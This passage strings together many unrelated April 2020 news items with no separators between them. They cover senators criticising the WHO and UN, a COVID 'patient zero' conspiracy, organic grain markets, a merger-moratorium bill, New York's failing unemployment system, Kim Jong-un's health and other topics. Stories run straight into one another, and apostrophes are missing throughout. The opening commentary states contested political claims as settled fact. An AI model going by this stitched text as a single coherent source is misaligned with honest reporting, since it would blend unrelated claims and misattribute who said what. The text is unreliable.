existence of the outbreak, which is widely thought be have been first reported in at least December 2019. Chinese genomics laboratories had completed sequencing of the viral genome, which was similar to the SARS virus, by Dec. 27 but the results were quickly censored by party officials. Doctors were warned, threatened, and later arrested for discussing and posting information regarding the outbreak online, accused of spreading rumours that would harm stability. On Jan. 1, a Hubei Provincial Health Commission official ordered lab researchers to destroy samples; and on Jan. 14, authorities lied about the disease not being transmissible from human-to-human. The WHO disseminated this assessment in its official report in mid-January, despite evidence reported in the medical journal The Lancet in mid-Dec. 2019 that the virus was transmissable. Taiwan had also warned the WHO on Dec. 31 of reports of transmissible disease in Wuhan that month, and requested further information from the United Nations body. It does not appear that the WHO acted on this information. Related Coverage The Timeline of the Intentional Coverup During this time, about 5 million people had already traveled out of Wuhan to other Chinese provinces and overseas destinations. Now, at least 3 million people have contracted the disease worldwide, hundreds of thousands have died, and national economies around the world are in crisis. Given how the pandemic unfolded, Wong expressed concern that the United Nations (U.N.) and the WHO were under threat by countries that will use it to score political points and play out rivalries. Wong wants Australia to take an active role in rallying international support for reforming the WHO, a subsidiary of the U.N., which as a system has served Australia well in the past, she wrote. Responding to Wong, One Nation Senator Malcolm Roberts (QLD) told The Epoch Times on April 27 that Wong was making excuses for the WHO and playing politics, which would exacerbate and continue the problems she admits [to] in her opinion piece. Roberts said that the U.N. had facilitated the CCPs dishonesty and propaganda, and that in his opinion, there is no point trying to reform it. It is time to exit the U.N. whose treaties, protocols, agreements, declarations, charters, and destructive policies have gutted our countrys independence, sovereignty and governance. The U.N. goes against western values and democratic principles, appeases the totalitarian Islamic ideology that contradicts Australian values, strengthens the totalitarian Chinese Communist Party, and gives voice and power to dictatorships that oppose fundamental human rights, he said. Liberal Senator Eric Abetz (Tas) agreed with Wong that the U.N. and the WHO had served Australia well in the past, but questioned whether it continues to do so today after acting like the ventriloquist doll for the Communist dictatorship in China. He said that without the fundamental reforms so obviously needed, the future of the U.N. is at stake. The U.N.s Human Rights Committee is populated by representatives from totalitarian regimes, Abetz told The Epoch Times via email on April 27. China was just recently appointed a seat at the Consultative Group of the U.N.s Human Rights Council, which appoints human rights investigators to examine global issues such as freedom of speech, enforced disappearances, arbitrary detention, and health, he noted, pointing to the CCPs problematic human rights record. Read More Australian Senator Calls for Reckoning With Chinese Dictatorship Chinas appointment to the U.N.s Human Rights Council is seen as a conflict of interest due to its well-documented human rights abuses, including murdering of Falun Gong practitioners for their organswhich was concluded to be true beyond reasonable doubt by the independent China Tribunal in 2019. Related Coverage China Still Forcibly Harvesting Organs for Transplantation, Independent Tribunal Finds While Wong would like to see Australia avoid politicising the WHO and resist temptations to partisanship in its efforts to reform the WHO, Roberts said he wants Australia to exit the U.N. and forge meaningful direct relationships with individual nations. Abetz added that, In an ideal world, there would be no politicisation of the WHO. But in reality, the WHO has been politicised by the inappropriate appointment of Tedros Adhanom Ghebreyesus yet championed by China. We cannot pretend otherwise, he warned. Read More Chinese Communist Subversion of WHO Undermined Global Pandemic Response He continued, Neither can we pretend that unfettered globalism always and only acts in the best interest of each individual nation. Like every other nation, Australia has an important role to play on the world stage, but it cannot simply sing the tune of massive unaccountable globalist institutions that erode sovereignty, and as we see now playing out with this pandemic, are highly susceptible to undue influence, he said. The so-called "patient zero" at the centre of coronavirus conspiracy theories and Chinese state-sponsored misinformation campaigns has spoken out for the first time. US Army Reservist Maatje Benassi and husband, retired Air Force officer Matt Benassi, told CNN Business they feared that claims of their involvement in the spread of the virus could turn them into victims of another Pizzagate, a fringe conspiracy that led to a man shooting up a Washington DC pizzeria. "It's like waking up from a bad dream going into a nightmare day after day," Ms Benassi said. "I know it [will] never be the same. Every time you're going to Google my name, it will pop up as patient zero." Army Sergeant 1st Class Benassi is a noncommissioned officer from the 312th Observer-Controller-Trainer unit at Fort Meade, Maryland, while Mr Benassi is a retired Air Force officer and is employed by the Air Force at the Pentagon. Ms Benassi competed in the women's 50-mile road race during the seventh CISM World Military Games on Wuhan East Lake in October 2019; a connection that has been used by the Chinese Communist Party to support their allegation that the virus originated in the US and was released in China by the US Army. Chinese Communist Party Foreign Ministry spokesman, Lijian Zhao, falsely stated in a tweet that Centres For Disease Control's Robert Redfield was "arrested" before Mr Zhao floated the Benassi conspiracy theory to his 600,000 followers. "When did Patient Zero appear in the United States? How many people are infected? What is the name of the hospital?" Mr Zhao said in a follow-up the tweet. "It may be that the US military brought the epidemic to Wuhan." US Defence Secretary Mark Esper said it was "completely ridiculous and it's irresponsible" for someone speaking on behalf of the Chinese government to promote such a claim. Despite the Trump administration's requests of big tech to stomp out misinformation and conspiracy theories related to coronavirus, Twitter has refused to remove the communist government's tweet. "With a critical mass of expert organisations, official government accounts, health professionals, and epidemiologists on Twitter, our goal is to elevate and amplify authoritative health information on our service," Twitter spokesman Trenton Kennedy said in a statement. Such official government accounts like those of Mr Zhao have been amplifying the hypothesis popularised by conspiracy theorist George Webb, 59. He connects Mr and Ms Benassi, along with Italian DJ Benny Benassi, in a Benassi plot to spread the virus. The claims have been repeated by Chinese state-sponsored media in what has been called an apparent disinformation campaign to deflect global criticism for the coronavirus pandemic away from China and towards the US. The Global Times, an English-language media arm of the Chinese Communist Party, referenced Mr Webb's claims when calling on the US government to release the medical records of Ms Benassi and all the members of the American team that competed in Wuhan "to end the conjecture about US military personnel bringing Covid-19 to China." The People's Daily China, meanwhile, claimed "racism and conspiracy" when Donald Trump called coronavirus the "Chinese virus." "His claim triggered many ugly comments full of racism and conspiracy, but also an avalanche of criticism from Americans and people from around the world who agreed that it is wrong for the US president to associate a group of people with a virus, something that poses a threat to all people, regardless of nationality," they posted to Facebook. As the global coronavirus death toll on Monday passed 200,000 and neared almost three million infected, the Communist Party of China doubled-down on its official claims that China is the biggest victim of coronavirus disinformation. China's Foreign Ministry spokesman Geng Shuang on Monday Tweeted that the peddling of disinformation should be "rejected by all". He said that China, meanwhile, "has earned applause from the international community for its responsibility and contribution" since the Covid-19 outbreak. While Mr Benassi has complained repeatedly to YouTube, which has removed some but not all of the videos, it was difficult to hold Mr Webb accountable when the videos are uploaded to Chinese platforms WeChat, Weibo, and Xigua Video and translated to Mandarin. "Law enforcement will tell you that there's nothing that we can do about it because we have free speech in this country. Then they say, 'Go talk to a civil attorney,' so we did," Mr Benassi said. "We talked to an attorney. You quickly realise that for folks like us, it's just too expensive to litigate something like this. We get no recourse from law enforcement. We get no recourse from the courts." SILVER SPRING, Md., April 28, 2020 /PRNewswire/ -- Larger-than-expected beginning stocks and more harvested acres have placed organic corn and wheat on a bearish trend over the 2019/20 market year, according to the new Mercaris Organic Commodity Outlook. Meanwhile, strong demand and lower imports have provided support to organic soybeans markets. Mercaris , the nation's leading market data service and online trading platform for organic, non-GMO and certified agricultural commodities, today released its spring outlook. Despite poor planting and harvest conditions in 2019, additional certified corn and wheat farms helped push harvests above previous estimates. In addition, corn imports rose sharply at the end of the 2018/19 market year, 12% above projections. "Feed-grade organic corn prices have experienced a lot of pressure since last August, as harvest exceeded the industry's expectation," said Ryan Koory, Director of Economics for Mercaris. "With buyers expecting tighter 2019/20 supplies, a lot of organic corn was imported and stored at the end of 2018/19 putting corn markets in a perpetually long supply position this year." For organic soybeans, a collapse in imports from China and a reduction from Canada and the Black Sea Region point to supply constraints and higher prices. "With China and the Black Sea Region sending less organic soybean meal to the U.S., domestic organic soybean crush has picked up the slack, tightening the overall U.S. soybean supply situation," Koory said. "We may see this pressure back off this fall if we experience a good organic soybean harvest. But, through the remainder of 2019/20 organic soybean prices look firmly supported." Additional findings from today's report include: U.S. organic corn production is estimated at 39.7 million bushels for 2019/20, up 9% from the previous outlook but still down 4% year-over-year. Organic soybean production is estimated at 7.6 million bushels, also up 9% from the previous outlook, but down 4% year-over-year. Organic feed demand is projected at 31 million bushels, with organic wheat and organic corn silage making up a growing percentage of overall feed. Organic wheat production saw a 15% year-over-year increase in 2019 at 20 million bushels, driven mostly by an increase in acres in the High Plains. Today's report includes additional data and commentary on expected yields, use, prices and more for organic commodities. For more information and to purchase a copy of the report, visit Mercaris . There will be a webinar on April 30 at 10:30 a.m. CT to cover these findings for those who purchase the report. For information about COVID-19-related risks to organic markets, a free Mercaris report is also available here . Media Contact: Matt Merritt | [email protected] | (605) 370-9959 SOURCE Mercaris Two of the most popular Democrats, Senator Elizabeth Warren and Representative Alexandria Ocasio-Cortez, said on Tuesday they would introduce legislation to stop many mergers while the United States struggles economically during the coronavirus pandemic. Warren and Ocasio-Cortez said they would formally introduce the Pandemic Anti-Monopoly Act to put a moratorium on all mergers that would normally be reported to the Federal Trade Commission, and any involving companies with more than $100 million in revenue or private equity companies, among others. The moratorium would continue until the five-member FTC unanimously decides that small businesses and workers are 'no longer under severe financial distress,' the lawmakers said in a press release. Elizabeth Warren and Alexandria Ocasio-Cortez said they would formally introduce the Pandemic Anti-Monopoly Act to put a moratorium on all mergers that would normally be reported to the Federal Trade Commission but their effort is likely to die in the Republican-controlled Senate 'As we fight to save livelihoods and lives during the coronavirus pandemic, giant corporations and private equity vultures are just waiting for a chance to gobble up struggling small businesses and increase their power through predatory mergers,' Warren said in a statement. The bills will be introduced after Congress returns to work, the Senate on May 4 and the House on May 11. While few bills become law, this one will face a particularly uphill battle in the Republican-controlled Senate. Last week, Representative David Cicilline, chair of the House Judiciary Committee's antitrust panel and a Democrat, called for a moratorium on mergers in the next coronavirus stimulus package and a ban on deals that are not directly related to companies about to fail. Losing your job is hard. Trying to file for unemployment insurance in New York can feel even harder. More than 1 million New Yorkers have applied for unemployment insurance since the coronavirus pandemic shut down much of the states economy in mid-March, leading to mass layoffs, furloughs and cutbacks. In that time, many of those New Yorkers have grown intimately familiar with an unemployment insurance system run on technology that is nearly half a century old and an overloaded call center unequipped to handle the volume of new calls. Applicants for unemployment insurance have been caught in a kind of maddening tech purgatory in which the state Department of Labors website crashes or times out on them before their application can be completed or, if they were able to complete it, the website times out when they try to claim their benefits. Many applicants were told to call the departments phone lines in order to complete their application, but they couldnt get through. The result was hours wasted on reloading the website and restarting the application or calling the department constantly, trying to get hold of someone who can help. All the while, the bills still come, rent is still due and the futile search for work in the middle of a global crisis continues. By late March, the Department of Labor was struggling to keep its head above water to process the hundreds of thousands of claims, and the resulting complaints from those unable to complete applications. A relaunch of the unemployment website in early April branded as a tech surge aimed to patch some of the systems issues with new servers to handle increased web traffic, along with a sleeker application designed by Google. Three weeks into that relaunch, the Department of Labor is touting $3.1 billion in unemployment insurance distributions since the crisis began. But some New Yorkers still appear to be in unemployment purgatory. Tweets from the Department of Labors Twitter account are met with hundreds of replies from people complaining that their applications are still pending or that theyve yet to receive benefits. A Facebook group named HELP US - NYS Unemployment Issues has 33,000 members and 1,000 new posts a day, and news articles are still proclaiming the unemployment insurance process a Kafkaesque mess. So how did we get here? State officials have pointed repeatedly to the unprecedented volume of applications to explain why the system has failed some New Yorkers, but while the sudden surge in traffic is certainly unheard of, some observers say the issues with the states unemployment system are rooted in New Yorks lack of long-term investment in crucial IT systems. The question to ask is, why is the architecture old, why is the application old, and why are we having the problem? Its because the state, in my humble opinion, has starved out technology, one tech consultant told City & State. To be sure, the coronavirus crisis and ensuing economic shutdown is causing people across the country to lose work not just those in New York. States including North Carolina and Texas are receiving 100 times their normal load of unemployment claims, and others are taking the same steps New York has, including boosting staffing and building new web servers. A recent Pew study found that 71% of Americans who filed for unemployment in March still hadnt received benefits by late April. The state Department of Labor has argued that despite the problems, it has outperformed other states in being able to distribute over $3 billion in benefits so far. But New York has known that its unemployment insurance system has needed an upgrade for years. The state in 2017 issued a request for proposals for a system solution to completely revamp the website and its underlying system that allows New Yorkers to apply for and receive unemployment benefit payments and submit employer contributions and appeals, as others havereported already. In 2019, that contract was awarded to Tata Consultancy Services, a global IT leader based in India, for $57 million. The Department of Labor did not comment on how far along that work is now. While DOL is undergoing a multi-year top-to-bottom overhaul of its unemployment insurance infrastructure, the state and Google developed and launched a new web application so New Yorkers would be able to file for the COVID-19 related benefits they need in a reliable and streamlined way during this unprecedented time, department spokeswoman Deanna Cohen said in an emailed statement. A spokesperson for the state said that the primary issue with the unemployment system was the actual web application that users went through to file a claim: As layoffs began across the state, hundreds of thousands of people were suddenly trying to access the application at the same time. The Department of Labor reported a 1,600% increase in web traffic during some of the worst weeks. But a deeper look at that RFP from 2017 suggests that its not just the web application thats an issue, but the entire architecture of the outdated system that is responsible for processing claims and actually making payments. That RFP reads: ... the State has faced the pressing problem of maintaining, modifying, and extending outdated and expensive mainframe-based UI benefits and contributions systems that were written in the 1970s and 1980s and remain constrained by the technology of that era. The entire unemployment benefits site is built on a mainframe computer system basically giant computers tasked with processing data and transactions. That mainframe system, with its underlying technology from the days of bell bottoms and platform shoes, is what the state has had its eye on modernizing for years. Upgrades to the system might, for example, allow it to be used 24/7, instead of the current situation, in which New Yorkers can only apply for benefits between 7:30 a.m. and 7:30 p.m. Overnight, the information from the applications has to be processed by the mainframe computers. Why the state only awarded a contract to a tech company to start that work in 2019 is unclear. That mainframe system, with its underlying technology from the days of bell bottoms and platform shoes, means New Yorkers can only apply between 7:30 a.m. and 7:30 p.m. Overnight, the information has to be processed. And while that system may be tested in the coming weeks, as more claims are dispersed, so far, the bottleneck has been the hundreds of thousands of people trying to get their foot in the door of the unemployment system. Think of the application for unemployment like a front door to accessing benefits. A recently unemployed person goes to the departments website, creates a government login and begins to fill out questions about their employment status, plugging in personal details including their name and Social Security number, as well as facts about the circumstances of their unemployment, such as the last time they worked or whether they are out of work because of coronavirus-related cutbacks. As users filled out the application, it might stall or time out. Take too long to answer a question many of which are not easy to answer and you could be kicked off and forced to start from scratch. Some applicants dug around and found that they were having issues because their web browser was incompatible with the application. One of the recommended browsers for the application was Netscape 6.0 a discontinued browser first introduced in 2000. Other users who knew enough to experiment and try to load the application on Safari instead of Chrome, for example, experienced some success. But fixes and patches like that arent going to work for or even occur to everybody. That presupposes that the person thats applying for these benefits has the technical savvy to make the distinction between the browser technologies, the tech consultant said. A lot of the people who are applying for these benefits are not in the technology space. The departments tech surge in early April was targeted at ironing out both the issue of increased traffic and the clunky application. The Department of Labor brought in Google to build a new, sleeker application for filing for benefits, which is supported by the tech giants cloud infrastructure. Cloud servers as opposed to in-house physical servers are online data centers that are able to adapt to changing traffic loads and the needs of whatever website or system theyre hosting. A system that relies mostly on in-house physical servers, meanwhile, has to be able to maintain or build its own data storage when traffic spikes as was the case when the state scrambled to build new servers when users on the Department of Labors application spiked. One of the recommended browsers for the application was Netscape 6.0 a discontinued browser first introduced in 2000. So far, the department reports, the new Google-backed application has had no unscheduled downtime, suggesting that its working for now.So why are some people still not receiving benefits? Outlets like Gothamist have reported that New Yorkers are still having issues connecting to the Department of Labors call center. As part of the tech surge, the department also implemented a new procedure in which applicants dont have to call the departments phone lines and to wait on hold for hours to complete an application but instead receive a call within 72 hours of filing to fill in any outstanding information the department needs to process their claim. The call center got hundreds of new staff to support the effort, with plans to add more. Nevertheless, some users still report having issues, including not getting a call back or verifying their information over the phone but still not being able to claim benefits, as some applicants told Gothamist. Gov. Andrew Cuomo has also said that the state could run out of funds to pay out unemployment benefits, depending on how long the coronavirus crisis drags on. A spokesperson for the state estimated that while every claim is different and has its own set of extenuating circumstances, the average applicant might receive payments two to three weeks after first claiming benefits. But some applicants report waiting longer. One potential source of delay is the process of applying for Pandemic Unemployment Assistance an insurance program in the federal CARES Act for those not covered by traditional unemployment, like independent contractors or gig workers. Until recently, those workers had to apply and be rejected for traditional unemployment before being allowed to apply for the program. New federal guidance allows the application to be combined, and the state Department of Labor released a streamlined application that aims to cut down on that backlog. But that doesnt describe everybody who is still waiting on payments or experiencing holdups in having their applications completed. One other remaining sticking point is the fact that once your application is completed, you still have to go back to the website to certify your claim each week to note how many hours you worked in the previous week and testify that you are looking for work. That process is still running on the old website, not the new Google-designed and cloud-based one. So even though the process of getting your foot in the door has been streamlined, many New Yorkers are still stuck in the purgatory of timed-out sessions and other frustrations every subsequent week. As part of the tech surge in early April, new physical servers were built to support the older part of the system and the website as a whole. There are now more than 60 servers supporting the website, as opposed to the four that supported it before the coronavirus crisis. Theoretically, the addition of new servers means that the website and the portal used to certify claims can handle the increased load of users more easily. Why the existing website was not migrated to the cloud or even upgraded before the crisis is not clear, but some suggested that its another result of the states lack of investment in IT. This should be so bloody simple, its not funny, the tech consultant said, laying out three issues with the entire unemployment insurance system: user design and functionality, the need for the architecture of the system to be upgraded and monitored, and the need for continuous investments in these systems as technology evolves. Theyve not done that, the consultant said. Theyve not upgraded any of those core systems. Some experts suggested that the issue gets back to the process of IT procurement in the state, and that contracting can be a long and burdensome process especially for smaller companies that dont meet the states qualifications. Some of the requirements laid out in the 2017 RFP for the revamp of the unemployment system, for example, included specifications about the years of experience everyone from the vendors project manager to lead programmer had to have had in similar IT projects. From governments perspective, strict requirements are built into RFPs to ensure that the vendors hired to build $50 million IT systems know what theyre doing. But that might come at a cost. Innovation in technology occurs on the bleeding edge, another tech consultant said, suggesting that government is often behind the technology curve when its only behemoth companies winning contracts. Its the companies that are just coming into the market that are pushing the big companies in a (new) direction. Thats why you see so many acquisitions, buying little companies up and using their technology to move forward. The state rejected the notion that it has neglected its tech. Since day one, we have been laser-focused on modernizing the Empire State's technology infrastructure, Scott Reif, spokesman for the states Office of Information Technology Services, said in an emailed comment. And from critical upgrades to nearly two dozen state agency websites, to new cloud-based solutions that safely store more data at lower costs, we have vastly improved how state government uses technology and how New Yorkers interact with state government online. New York is not alone in finding itself ill-equipped to handle this unprecedented caseload of claims. New Jersey, for example, has received criticism for operating its unemployment system using a 60-year-old programming language called COBOL that few programmers are still trained in though its not clear that COBOL is to blame the states unemployment delays. But what this crisis has brought to light is just how critical the underlying tech systems of state services like unemployment are. When theyre left to age without regular, significant upgrades, people suffer. Richard Blum, a staff attorney in the employment law unit of the Legal Aid Society, said that one of the problems with the original unemployment application process was not just the technology, but the fact that the questions themselves can be hard to answer, leaving people to pull their hair out figuring out whether to answer yes or no to surprisingly complicated questions like whether theyre prepared to take a job immediately. A person in quarantine because they have the coronavirus might answer no and be denied, for example. The fact that taking more than two minutes to answer a question could result in the session timing out and forcing users to start the application all over again just makes it harder. I think its important to look at it not only as a technology issue, Blum told City & State. The technology reflects values and policies. If you design a system that is difficult to navigate in good times, that means some number of people just get screwed. In bad times, it means a lot of people get screwed. Special operation soldiers of the Chinese naval fleet for escort mission wave farewell on the deck at a port in Zhoushan, east China's Zhejiang Province, April 28, 2020. The 35th fleet of the Chinese People's Liberation Army (PLA) Navy on Tuesday left the port city of Zhoushan in east China's Zhejiang Province for the Gulf of Aden and waters off Somalia to escort civilian ships. Composed of the guided-missile destroyer Taiyuan, the missile frigate Jingzhou and the supply ship Chaohu, the fleet has more than 690 officers and soldiers, dozens of special operation soldiers and two helicopters on board. (Photo by Jiang Shan/Xinhua) HANGZHOU, April 28 (Xinhua) -- The 35th fleet of the Chinese People's Liberation Army (PLA) Navy on Tuesday left the port city of Zhoushan in east China's Zhejiang Province for the Gulf of Aden and waters off Somalia to escort civilian ships. Composed of the guided-missile destroyer Taiyuan, the missile frigate Jingzhou and the supply ship Chaohu, the fleet has more than 690 officers and soldiers, dozens of special operation soldiers and two helicopters on board. It is the first time for the Taiyuan and the Jingzhou to carry out an escort mission in the Gulf of Aden. The PLA Navy began to carry out escort missions in the Gulf of Aden and the waters off Somalia in December 2008. By Online Desk CHENNAI: Prime Minister Narendra Modi's third video conference with the Chief Ministers was keenly followed held as it was in the final week of Lockdown 2.0. Which of the CMs will attend? What will they have to say? These were the questions hanging in the air ahead of the meeting. What West Bengal Chief Minister Mamata Banerjee and Kerala Chief Minister Pinarayi Vijayan will end up doing seemed to be of particular note to many who were looking for ways to spice up the morning of day 34 of India's Great Lockdown. So, when Kerala Chief Minister Pinarayi Vijyan skipped the video-conference, phone lines began to hum. Why had he deputed his chief secretary to attend the meeting instead of joining it himself, many wondered. More so, because it came just two days after an interview Kerala Finance Minister Thomas Isaac gave to The New Indian Express in which he said that the Finance Minister Nirmala Sitharaman hadn't met him or other state Finance Ministers even once during the COVID-19 crisis. Was CM Vijayan sending out a message? The truth it emerged was more prosaic. The Chief Minister skipped the meeting only because he was not due to speak. Such has been the nature of these video conferences that only nine CMs get to speak on every occasion. On April 27, the nine allowed to make their pitch were the CMs of Meghalaya, Mizoram, Puducherry, Uttarakhand, Himachal Pradesh, Odisha, Bihar, Gujarat and Haryana. When they were contacted, the Kerala CMO also cited this to be the reason. They added that the Chief Minister had already briefed Union Home Minister Amit Shah about the lockdown situation in the state prior to the meeting. This was why he deputed the chief secretary to attend the meeting in place of him, the CMO sources clarified. Chief Minister Vijayan had attended the two earlier video conferences and shared what he had to say, the CMO sources stressed. Meanwhile, Prime Minister Narendra Modi is said to have suggested that lockdown must continue in red zones across the state while also seeking an exit plan from the states. At the video conference, Odisha CM Naveen Patnaik was said to be in favour of extending the lockdown by a month till June 3. He also requested that stranded workers be taken care of by the respective states. CM Patnaik also called for testing facilities to be scaled up. (With Express News Service inputs) The family members of the 65 -year-old COVID-19 patient, who was the first person to die of the infection in Northeast, were discharged from a quarantine facility on Tuesday after completing 24 days of isolation, a senior medical official said. Joint Director of Health Services Ramesh Chandra Dwivedy said all the five family membe rs of the deceased person were discharged after they tested negative for COVID-19 the third time. Stating that all the necessary protocols were followed before they were discharged, Dwivedy said they will now be put in home quarantine, which would continue till May 6. "Necessary instructions have been given to them to follow the home quarantine rules and regulations," he added. Officials of the district administration, health department and police personnel clapped as the family members, including children, walked out of the quarantine facility. Hailakandi Circle Officer Tridip Roy presented a basket of fruits to them on behalf of the district administration. The son of the deceased person expressed gratitude to the district administration and health officials for taking good care of them at the facility. "We are indebted to them for giving us all the care and attention. We did not face any problem whatsoever during the quarantine period," he said. The COVID-19 patient, a resident of the Barjurai village on the outskirts of Hailakandi district headquarters, died on April 10 at the Silchar Medical College and Hospital where he was undergoing treatment. He arrived from Saudi Arabia on March 18 after performing Umrah Haj and had links with the Nizamuddin Markaz event in Delhi.The district administration performed his last rites at a remote place here following the protocols relating to COVID-19. His village was sealed after he tested positive. Donald Trump added to the confusion about the health of North Korean leader Kim Jong-un by claiming he has a very good idea about the dictators condition. Mr Kims whereabouts and health status have been a subject of intense speculation after Seoul-based website Daily NK reported last week he was recovering after undergoing a cardiovascular procedure on 12 April. I cant tell you exactly, the US president said when asked about Kims condition at a White House news conference on Monday. Yes, I do have a very good idea, but I cant talk about it now. I just wish him well. Suggesting the mystery would soon be cleared up, Mr Trump added: I hope hes fine. I do know how hes doing relatively speaking. We will see youll probably be hearing in the not too distant future. Yet the president appeared to contradict himself only moments later when he said nobody knows where he is. Kim Jong-un: Power in pictures Show all 20 1 /20 Kim Jong-un: Power in pictures Kim Jong-un: Power in pictures Kim Jong-un rides a horse during snowfall in Mount Paektu in this image released by North Korea's Korean Central News Agency on 16 October 2019 Reuters Kim Jong-un: Power in pictures Kim Jong-un visits the newly built Pyongyang Orphans' Primary School on 2 February 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects a women's company under Unit 5492 of the Korean People's Army in November 2019 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects the test-fire of intercontinental ballistic missile Hwasong-14 at an undisclosed location in July 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un celebrates the successful test-fire of the intercontinental ballistic missile Hwasong-14 at an undisclosed location in July 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects a potato at the Samjiyon Potato Factory in North Korea in October 2018 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un rides a horse through a forest in this image released by North Korea's Korean Central News Agency on 16 October 2019 EPA Kim Jong-un: Power in pictures Kim Jong-un inspects a block of frozen fish at a processing facility in North Korea in November 2018 Reuters Kim Jong-un: Power in pictures Kim Jong-un celebrates the succeful launch of a strategic submarine-launched ballistic missile in August 2016 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un shakes hands with Donald Trump as they meet for the first time at the Capella Hotel on Sentosa island in Singapore in June 2018 Reuters Kim Jong-un: Power in pictures Kim Jong-un and Donald Trump share a glance as they meet in the Demilitarised Zone in Panmunjon, Korea in June 2019 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects mushrooms at Pyongyang Mushroom Farm AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects a super-large multiple rocket launcher ahead of a test in September 2019 Reuters Kim Jong-un: Power in pictures Kim Jong-un inspects an apple farm in South Hwanghae Province in September 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects an apple farm in South Hwanghae Province in September 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects dental wares at a newly built factory in June 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un visits Farm No 1116 in September 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un visits a motor factory in November 2017 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un rides a horse during snowfall in Mount Paektu in this image released by North Korea's Korean Central News Agency on 16 October 2019 AFP/Getty Kim Jong-un: Power in pictures Kim Jong-un inspects the Command of the Strategic Force of the Korean People's Army at an undisclosed location in August 2017 AFP/Getty It comes as the North Korea authorities publishing a letter purportedly from Mr Kim to South African president Cyril Ramaphosa dated 27 April as proof that he is alive and well. State media have previously reported that he sent greetings to Syrian president Bashar Assad and Cuban president Miguel Diaz-Canel. Not seen in public since 11 April, the leaders absence from public ceremonies on the birth anniversary of his grandfather Kim Il Sung on 15 April was unprecedented leading to days of speculation over his health. South Korean officials have cautioned against reports that Kim may be ill and emphasised they have detected no unusual movements in North Korea. Donald Trump speaking at a news conference on 27 April, 2020 (AFP via Getty Images) (AFP/Getty) South Koreas minister for North Korean affairs said on Tuesday that Mr Kim may have missed the key holiday because of concerns over the coronavirus, not because he is ill. It is true that he had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns, Kim Yeon-chul said at a parliamentary hearing. He said there were at least two instances since mid-January where Kim Jong Un was out of sight for nearly 20 days. I dont think thats particularly unusual given the current [coronavirus] situation. A special train possibly belonging to Mr Kim was spotted last week at the North Korean resort town of Wonsan, according to satellite images reviewed by 38 North, a Washington-based North Korea monitoring project. Despite Mr Trumps claim to have a very good idea about his condition, experts said nobody outside North Korea knew exactly what was happening. Cheon Seong Whun, a presidential secretary during the South Koreas previous conservative government, said Seoul had struggled for several decades to get a strong grip on the location and health of North Koreas top leadership. Anybody who says they know something for certain is just writing a novel, Mr Cheon said. Additional reporting by agencies WEST LAFAYETTE, Ind. Purdue Universitys College of Science K-12 Science Outreach office regularly serves thousands of students in classrooms across the state. With the COVID-19 crisis, the outreach team has ramped up delivery of its online materials to make even more topics available for teachers during e-learning. Because of Purdues land-grant mission, the College of Science is committed to helping K-12 teachers and students, says Bill Bayley, director of K-12 Science Outreach. The K-12 outreach coordinators recognized, as Indiana schools went to e-learning, the need to step up and modify the way we help teachers in any way we could with tools to continue teaching science remotely. Additionally, online materials have been added to the Science Express website on electrophoresis, column chromatography, infrared cameras, mass spectrometers and notebook circuits. These video demonstrations on lab techniques are being produced at the request of current Science Express participants. Resources for younger students are available too, including elementary tabletop weather experiments to show how it rains and make a cloud in a bottle. Examples of videos include infrared camera demonstrations and a tour of science-themed information displays at Purdue. The Superheroes of Science podcast is still being produced and is available on Apple Podcasts, Stitcher and YouTube. Each podcast features an interview with a science expert, many of whom are Purdue researchers or graduates, about various topics including animal communication, photosynthesis, asteroid impacts and meteorology. Each podcast has an associated worksheet on the e-learning website for students to complete after listening. Virtual tours featuring campus displays and research labs are also available. These showcase such locations as the Purdue Stable Isotope facility, a solar system display and a chemistry lab. These create an interactive platform to see how science is integrated on campus. The Outreach team also maintains an active Twitter account; and Facebook accounts at Science Express, Purdue University Earth, Atmospheric, and Planterary Sciences Outreach and Purdue University K-12 Chemistry Outreach. These accounts share resources for teachers to use during this e-learning time. The Science Outreach Office website can be found here. About Purdue University Purdue University is a top public research institution developing practical solutions to todays toughest challenges. Ranked the No. 6 Most Innovative University in the United States by U.S. News & World Report, Purdue delivers world-changing research and out-of-this-world discovery. Committed to hands-on and online, real-world learning, Purdue offers a transformative education to all. Committed to affordability and accessibility, Purdue has frozen tuition and most fees at 2012-13 levels, enabling more students than ever to graduate debt-free. See how Purdue never stops in the persistent pursuit of the next giant leap at purdue.edu. Writer: Kelsey Schnieders Lefever, kschnied@purdue.edu Media contact: Amy Patterson Neubert, 765-412-0864, apatterson@purdue.edu Source: Bill Bayley, K-12 outreach coordinator, College of Science, wbayley@purdue.edu Myanmar & COVID-19 Myanmar Sets Up COVID-19 Committee with Rebel Armies Members of the Karen National Union carry out temperature checks while Karen National Liberation Army soldiers participate in health awareness campaigns in Karen State villages on April 13. / Doo Pla Ya District / Facebook Myanmar Presidents Office has formed a coordinating committee to work with ethnic armed organizations (EAOs) to contain the spread of COVID-19 in territories controlled by the groups. The four-member committee formed on Monday will share information and work on the prevention, containment and treatment of coronavirus. Since March the Karen National Union, Restoration Council of Shan State, United Wa State Army, Mong Las National Democratic Alliance Army and Kachin Independence Army have been providing health checks and COVID-19 awareness in Karen, Shan and Kachin states respectively. As the EAOs are based along the borders with Thailand and China, they have already played a key role in contributing health care awareness to migrant returnees. U Khin Zaw Oo, the secretary of the governments Peace Commission (PC), told The Irrawaddy on Tuesday that the commission had been collaborating with EAOs long before the new committee was formed. It had been communicating with the Mong La group to place returnees from China into quarantine; providing food and negotiating with the Shan State government for them to return after completing their quarantine. The committee is established to be more like a task force to work effectively, U Khin Zaw Oo added. Dr. Tin Myo Win, the vice-chairman of the National Reconciliation and Peace Center (NRPC), leads the committee and U Khin Zaw Oo, who is also a retired lieutenant general, is its vice-chairman. U Hla Maw Oo, the deputy ethnic affairs minister, is the secretary of the committee, and U Moe Zaw Oo, an 